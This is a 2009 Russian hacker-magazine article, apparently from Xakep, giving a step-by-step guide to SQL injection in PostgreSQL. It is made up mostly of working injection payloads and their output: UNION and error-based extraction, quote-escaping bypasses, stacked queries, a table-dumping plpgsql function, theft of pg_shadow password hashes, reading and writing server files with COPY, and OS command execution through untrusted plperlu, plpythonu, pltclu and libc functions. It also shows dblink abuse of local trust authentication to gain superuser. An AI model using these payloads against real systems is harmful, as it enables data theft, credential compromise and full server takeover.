Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Укол слону. Руководство по реализации SQL-Injection в PostgreSQL

Spyder (spyder@antichat.net)

Говоря о базах данных, человек, работающий в Вебе, скорее всего вспомнит MySQL, а программист, создающий БД для крупных торговых компаний, – Oracle. Тем не менее, PostgreSQL сейчас одна из самых мощных реляционных СУБД наряду с Oracle и Sybase и, стоит заметить, бесплатная. Все больше крупных интернет-порталов строятся именно на ней. Ты узнаешь, как реализуются инъекции в этой СУБД, а также результаты небольшого сравнения с MySQL. Поехали!

Union, все гениальное - просто

Итак, сразу к делу. Рассмотрим инъекцию вида

SELECT id,title,text,is_enable FROM news WHERE id=$id;

Если мы не знаем количество столбцов, то подбираем так же, как и в MySQL:

id=1 ORDER BY 1
id=1 ORDER BY 99

– либо, если у нас есть вывод ошибок, следующим образом:

id=1 ORDER BY 1,2,3,4,5,...,99

В результате увидим ошибку:

Query failed: ERROR: ORDER BY position 5 is not in select list

Отнимаем от этого числа единицу и получаем количество столбцов в запросе. В нашем случае это будет 4. Составляем еще один запрос:

id=-1 UNION SELECT null,null,null,null

Важное отличие MySQL от большинства других СУБД – в том, что она игнорирует конфликт в типах колонок при UNION. В нашем случае поля имеют тип:

id (int)
title (text)
text (text)
is_enable (boolean)

Попытка составить, например, такой запрос:

id=-1 UNION SELECT null,null,null,123

привела бы к следующей ошибке –

Query failed: ERROR: UNION types boolean and integer cannot be matched

Как правило, нам требуется вывод в столбцах типа text или char.

Узнаем о себе

Прежде всего, узнаем, кто мы такие (т.е. свои права и обязанности), выполнив запрос:

id=-1 UNION SELECT null,null,сurrent_user,null

А также получим полное инфо о сервере:

id=-1 UNION SELECT null,null,current_database()||':'||version(),null

Здесь стоит разобрать запрос по частям. Во-первых, в нем используются специфические функции.

  • current_database() - выводит название текущей базы данных
  • version() - аналогично с MySQL, выводит версию PostgreSQL

Во-вторых, для объединения используются символы пайпов «||», аналог функции concat() в MySQL. И, в-третьих, разделителем выступает символ двоеточия «:», обрамленный кавычками. Запрос возвратит результат:

sitedb:PostgreSQL 8.3.7 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)

Рассмотрим случай, когда уязвимое приложение написано на PHP, и в скрипте используется функция addslashes(), либо в файле php.ini включена директива magic_quotes_gpc.

1. chr()

Функция chr() получает один числовой аргумент «n» типа integer и возвращает символ с ASCII-кодом, равным «n». Узнаем чар-код символа «:» и составляем запрос:

id=-1 UNION SELECT null,null,current_database()||chr(58)||version(),null

Это не очень удобно, так как иногда в кавычки нужно обрамлять довольно длинную строку. Тут существует более удобный способ, описанный ниже.

2. $text$

Два знака доллара говорят PostgreSQL о том, что далее в запросе следует строка. И это самый лучший способ обхода экранирования кавычек. Наш запрос будет выглядеть так:

id=-1 UNION SELECT null,null,current_database()||$text$:$text$||version(),null

По правде говоря, слово text между знаками доллара можно опустить :).

id=-1 UNION SELECT null,null,current_database()||$$:$$||version(),null

Системная информация

Как и в других СУБД, в PosgreSQL существуют стандартные системные таблицы. К некоторым имеют доступ все, а к некоторым только супер-юзер.

1. pg_user

Таблица, доступная всем пользователям. Польза хакеру от нее небольшая, но все же она есть. Интересные поля:

  • usename - Имя пользователя (тип name)
  • usesysid - ID пользователя (тип int)
  • usecreatedb - Может ли пользователь создавать базы данных (тип boolean)
  • usecatupd - Может ли пользователь вносить изменения в системные таблицы (тип boolean)
  • usesuper - Имеет ли пользователь привилегии superuser (тип boolean)

Чтобы узнать больше информации о нашем пользователе, составляем такой запрос:

id=-1 UNION SELECT null,null,usename||':'||cast(usesysid+as+text)||':'||cast(usecreatedb+as+text)||':'||cast(usecatupd+as+text)||':'||cast(usesuper+as+text),null FROM pg_user WHERE usename=current_user

В итоге, получим результат вида

admin:16385:true:true:true

В предыдущем запросе была использована функция cast(), она, так же, как и в MySQL, преобразует типы данных. В нашем случае происходит преобразование int->text и boolean->text.

2. pg_shadow

Ты сейчас, скорее всего, вспомнил файл /etc/shadow, в котором находятся пароли пользователей в большинстве *nix-систем. И не зря! Таблица pg_shadow, в отличие от pg_user, хранит в себе еще и пароли пользователей. Попробуем узнать пароль:

id=-1 UNION SELECT null,null,usename||':'||passwd,null FROM pg_shadow WHERE usename=current_user

admin:md5db55162d9e34e895d45a084f15726371

К сожалению, доступ к таблице pg_shadow есть только у юзера с правами usesuper.

3. pg_language

Это таблица, в которой содержится информация об установленных процедурных языках. Подробнее – чуть позже, а пока приведу ее неполную структуру:

  • lanname - Название языка (тип name)
  • lanispl - Является ли язык процедурным, всегда false для языка sql (тип boolean)
  • lanpltrusted - Является ли процедурный язык безопасным (тип boolean)

Встречайте... Information_schema!

Радоваться или плакать, но в PostgreSQL существует полюбившаяся нам в MySQL > 5.0 база information_schema, содержащая в себе информацию обо всех таблицах и колонках, доступных текущему пользователю. Структура ее практически идентична.
Узнаем интересующую нас таблицу:

id=-1 UNION SELECT null,null,table_name,null FROM information_schema.tables LIMIT 1 OFFSET 0

Стоит заметить, что оператор limit имеет в PostgreSQL другой вид и состоит из двух частей:

  • LIMIT - число записей, которое будет выведено из БД.
  • OFFSET - номер записи, начиная с которой будет происходить вывод (0 - начало отсчета).

Итак, мы нашли имя таблицы, – пусть это будет users. Узнаем имена полей запросом:

id=-1 UNION SELECT null,null,column_name,null FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0

Ну а дальше выводим, так же, как и в MySQL (только не забывай про типы и limit offset).

Разделяй и властвуй

До этого момента мы рассматривали классическую инъекцию с использованием оператора UNION. Сейчас я покажу тебе более интересные способы.

Большинство из ниже описанного будет работать, если у текущего пользователя есть права usesuper. Замечу, что такое тут встречается намного чаще, чем в MySQL. Один из главных плюсов инъекции в PostgreSQL - возможность разделений запросов символов точки с запятой ';'.В нашем примере это будет выглядеть так:

id=10;SELECT 123

Минус такого способа – мы не видим вывода второго запроса, но и это нам не помеха. А поможет нам здесь знакомое преобразование типов. Попробуем преобразовать тип text в тип boolean и посмотрим, что из этого выйдет:

id=10;SELECT CAST(version() AS boolean)

В результате запрос вернет ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "PostgreSQL 8.3.7 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)"

Однако этот способ не будет работать, если поле имеет тип name. К примеру, такой запрос:

id=10;SELECT+CAST(usename AS boolean) FROM pg_user

возвратит ошибку –

ERROR: cannot cast type name to boolean

Но и это нам не помеха. Мы знаем, что ошибку выдает преобразование типа text в тип boolean. А что нам мешает сделать двойное преобразование?

id=10;SELECT CAST(CAST(usename AS text) AS boolean) from pg_user

Первой функцией мы переводим name в text, а второй text в boolean. В результате получаем ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "admin"

При использовании этого способа есть одна особенность. Мы не можем выводить интересующую нас запись, используя limit offset. Для этого нам потребуется составить конструкцию where columnname not in (). Предположим, что предыдущий запрос вернул запись admin. Тогда составим такой:

id=10;SELECT CAST(CAST(usename AS text) AS boolean) FROM pg_user WHERE usename NOT IN ('admin')

Таким образом, мы можем перебрать все содержимое таблицы. Тестируя этот метод на различных сайтах, я столкнулся с проблемой, которую можно объяснить различием в версиях. Заключается она в преобразовании типа boolean в любой другой тип. В официальной документации сказано:

Values of the boolean type cannot be cast directly to other types (e.g., CAST (boolval AS integer) does not work)

Несмотря на это, у половины тестируемых сайтов, запрос вида:

id=10;SELECT CAST(usesuper AS text) FROM pg_user

не приводил к ошибке и возвращал вполне определенное значение. С другой стороны, является ли это большим минусом? Скорее всего, нет. Так как большинство потенциально интересных полей имеют тип name,text,char, который благополучно приводится к другим типам и вызывает нужную нам ошибку. Плюсы же способа очевидны. Мы не используем union, нам не нужно подбирать количество колонок, а также искать правильный ее тип. Способ будет работать с любой слепой инъекцией.

Сложную конструкцию функций cast() можно заменить на более простую, с помощью двух двоеточий '::'. Следующий запрос вернет нам название базы данных и имя таблицы:

id=10;SELECT (table_schema||':::'||table_name)::text::boolean FROM information_schema.tables

Многострочные запросы

Иногда SQL-запрос может состоять из нескольких строк. Пример:

SELECT id,title,text
FROM news
WHERE id=$id
AND is_enable=TRUE

В этом случае использование символов «--» нам не поможет, так как закомментируется только текущая строка. Чтобы реализовать SQL-Injection, нужно составить синтаксически правильный запрос. В данном случае он будет выглядеть так:

Id=10;SELECT version()::int;SELECT id FROM news WHERE 1=1

Если мы не знаем имя таблицы, из которой извлекаются данные, можно составить универсальный запрос для любого случая:

Id=10;SELECT version()::int;SELECT 1 FROM pg_user WHERE 1=1 or 2=2

Все прелести usesuper

А теперь рассмотрим случай, когда запрос

SELECT usesuper FROM pg_user WHERE usename=current_user

возвращает значение true. Здесь у нас необъятное поле для действий, начиная с вывода всей информации из таблицы и заканчивая выполнением системных команд на сервере. Сейчас ты поймешь, что PostgreSQL не только мощная, но и в неумелых руках очень опасная штука.

Limit? No Limit

Зачем использовать limit или not in (), когда мы можем вывести сразу все записи. Для этого нам нужно, чтобы был включен язык plpgsql, либо, если имеем права usesuper, создадим его самостоятельно:

id=10;CREATE LANGUAGE 'plpgsql'

А вот и сама функция:

id=10;CREATE OR REPLACE FUNCTION getall (text,text,text,text,text,text) RETURNS text AS $func$
DECLARE
schema ALIAS FOR $1;
table ALIAS FOR $2;
column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
column3 ALIAS FOR $5;
column4 ALIAS FOR $6;
count int;
i int;
temp text;
int_test text;
input_refc refcursor;
BEGIN
int_test := '';
OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count - 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||chr(58)||$qr$ || quote_ident(column4) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
FETCH input_refc into temp;
CLOSE input_refc;
int_test := int_test || temp;
END LOOP;
RETURN int_test;
END;
END;
$func$ LANGUAGE plpgsql;

Функция получает 6 параметров, имя БД, название таблицы и 4 колонки. Пример использования:

id=10;SELECT getall('pg_catalog','pg_user','usename',’usesysid’,’usesuper’,’passwd’)::int

А вот и результат:

hacker:16384:false:********
nobody:16385:true:********
park:16386:true:********
postgres:10:true:********
reader:16387:false:********
sa:16388:true:********

Читаем файлы

Чтобы прочитать файл, нам нужно выполнить несколько действий. Для начала создадим таблицу с одним полем типа text:

id=10;CREATE TABLE filetbl(file text)

После этого занесем содержимое файла /etc/hosts в таблицу:

id=10;COPY filetbl FROM '/etc/hosts'

– и прочитаем его уже известным нам способом.

id=10;SELECT file::boolean FROM filetbl

Каждая новая строка файла записывается в новое поле таблицы. Предыдущий запрос выведет лишь первую строку. Для вывода всего файла построчно используй либо where file not in(), либо, если ты используешь конструкцию UNION - limit 1 offset n.

Создаем файлы

Имея права суперюзера, мы можем создать произвольный файл на сервере. Для этого выполняем запрос:

id=10;COPY (SELECT 'I like it') TO '/tmp/pgtest.txt'

И видим результат:

-rw-r--r-- 1 postgres postgres 10 Aug 31 19:14 pgtest.txt

К счастью для нас, PostgreSQL создает файл с правами чтения для всех, что позволяет, при наличии локального инклуда, записать код в файл и выполнить его. Помимо этого, существуют стандартные функции администрирования сервера:

  • pg_read_file – Чтение файла
  • pg_ls_dir – Листинг директории

Однако реальной пользы от этих функций мало, так как они работают только в директории, указанной в $PGDATA, и выйти из нее не получится.

Query failed: ERROR: absolute path not allowed
Query failed: ERROR: reference to parent directory ("..") not allowed

Выполнение произвольного кода

PostgreSQL является очень мощной базой данных с поддержкой многих процедурных языков. В стандартный дистрибутив сейчас входят следующие:

  • C - он же pure c, знакомый нам язык
  • plperl - процедурный язык Perl
  • plpython - Python
  • pltcl - TCL

Помимо стандартных языков, имеются сторонние реализации, такие как plPHP, plRuby и plJava. Имея права usesuper, мы можем создать функцию на любом из этих языков. Прежде, чем начать, вернемся к таблице pg_language. Для этого выполним запрос:

id=10;SELECT (lanname,lanispl,lanpltrusted)::text::boolean FROM pg_language WHERE lanname='plperl'

Здесь мы не используем объединение строк с помощью пайпов, а просто вводим имена колонок через запятую, в результате видим ошибку:

Query failed: ERROR: invalid input syntax for type boolean: "(plperl,t,t)"

Теперь мы знаем, что язык plperl является процедурным, а также безопасным. Что же в нем безопасного, спросишь ты. А я тебе покажу на примере. Попробуем создать простенькую функцию, которая будет принимать один параметр типа text и выводить символы в обратном порядке. Такой запрос будет иметь вид:

id=10;CREATE OR REPLACE FUNCTION ret (text) RETURNS text AS 'return revers($_)' LANGUAGE 'plperl'

Теперь опробуем ее на деле:

id=10;SELECT ret('hello')::boolean

В ошибке видим следующее:

Query failed: ERROR: invalid input syntax for type boolean: "olleh"

Следовательно, все работает, как надо. Но нам этого мало, нужно получить выполнение системных команд. Вот именно здесь и играет свою роль lanpltrusted. Попытки создать функцию с использованием system(), print `` и open() с пайпами возвращают соответствующие ошибки:

Query failed: ERROR: creation of Perl function "ret" failed: 'system' trapped by operation mask
Query failed: ERROR: creation of Perl function "ret" failed: 'quoted execution (``, qx)' trapped by operation mask
Query failed: ERROR: creation of Perl function "ret" failed: 'open' trapped by operation mask

Постгрес не дает нам создать потенциально опасные функции, но и это можно обойти. Для начала создадим новый язык по шаблону языка Perl. Список шаблонов находится в таблице pg_pltemplate. Чтобы создать новый язык, пишем:

id=10;CREATE LANGUAGE 'plperlu'

В таблице pg_language появится новый язык plperlu, но поле lanpltrusted уже будет false, символ «u» как раз и означает не доверенный (Untrusted). Теперь нам остается создать функцию, которая будет выполнять системную команду на сервере и выводить ее результат:

id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'open(FL, "$_ |");print join("",<FL>)' LANGUAGE 'plperlu'

Выполняем:

id=10;SELECT sys('id')::boolean

В ответ получаем:

Query failed: ERROR: invalid input syntax for type boolean: "uid=26(postgres) gid=26(postgres) groups=26(postgres)

А дальше уже – кто на что горазд. Можно поискать папки на запись, можно сразу залить на сервер бекконект, – в таком случае у нас будут права postgres. Также приведу примеры системных функций на других языках:

Python:
id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE 'plpythonu'

TCL
id=10;CREATE OR REPLACE FUNCTION sys (text) RETURNS text AS 'exec $1' LANGUAGE 'pltclu'

C
id=10;CREATE OR REPLACE FUNCTION sys (cstring) RETURNS text AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

dblink() и trust аутентификация

В завершение моей статьи хочу рассказать тебе о редко встречающейся, но крайне полезной функции под названием dblink(). Создана она была для подключения к другой базе данных непосредственно в самом SQL-запросе. Ее использование выглядит так:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
password=somepass
dbname=somedb',
'SELECT column FROM sometable')
RETURNS (result TEXT);

А теперь я расскажу, что же такое локальная трастовая аутентификация. По умолчанию PostgreSQL позволяет локально подключаться любому пользователю даже без пароля. Что это нам дает? При наличии dblink() мы можем выполнять запросы непосредственно от имени супер пользователя. Вот пример подобного запроса:

id=10;SELECT * FROM dblink('host=127.0.0.1 user=postgres db=somedb','SELECT passwd from pg_shadow') RETURNS (result text)

Ну а что делать, когда имеешь права суперюзера, ты уже знаешь.

Outro

В статье я попытался раскрыть наиболее важные аспекты проведения инъекций в PostgreSQL, затронув их ключевые особенности. Всю документацию ты можешь получить на официальном сайте postgresql.org, либо... пиши мне на e-mail :).

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

DVD

На диске ты сможешь найти видео, демонстрирующее проведение инъекции, от определения принтабельного поля до получения шелла на сервере.

Содержание
ttfb: 5.3391456604004 ms